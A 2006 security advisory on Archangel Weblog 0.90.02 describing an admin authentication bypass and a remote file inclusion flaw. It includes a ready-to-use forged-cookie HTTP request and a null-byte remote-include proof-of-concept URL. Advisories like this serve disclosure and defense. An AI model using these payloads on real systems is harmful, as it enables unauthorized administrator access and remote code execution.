ArchAngelFlaw.txt

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KingOfSka - http://www.cpc.info.ms   
Contro Potere Crew Advisories #5 26/02/2006  
http://www.archangelmgt.com/   
Archangel Weblog 0.90.02 Admin Authentication Bypass & Remote File Inclusion   
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#1:. Background :  
Archangel Weblog is a new, full featured weblog application. Written in PHP and using a MySQL database backend, Archangel Weblog is easy to install, easy to configure and customize, and easy to use for most anyone.   
#2:. The Bug :  
The bug is caused by an insufficient filtering of user submitted input.A malicious user, could easily forge cookies to obtain unauthorized administrator credentials, and trhough the administration panel is possible to perform a Local\Remote File Inclusion.  
#3:. Exploiting :  
  
To get administrator access to the weblog script, just use a get request like this:  
  
[http get request]  
GET http://127.0.0.1/awb/admin/index.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051229 Firefox/1.0.7  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Connection: keep-alive  
Cookie: ba_admin=1  
Cache-Control: max-age=0  
[/http get request]  
  
or just add the cookie to your request..  
Now, take a look at /admin/index.php , line 54:  
  
<?php include($index . ".php"); ?>  
  
So, arbitrary file inclusion is possible, by using NULL char to filter out the .php extension.  
PoC:  
http://127.0.0.1/awb/admin/index.php?index=http://www.google.it%00  
  
  
#4:. Vendor Status / Patch :  
  
No Contact  
  
#5:. Links :  
http://contropotere.netsons.org/kingofska.asc - Public GnuPG Key  
http://contropotere.netsons.org - Contro Potere Crew Forums , here you can ask for an unofficial patch or for more info.  
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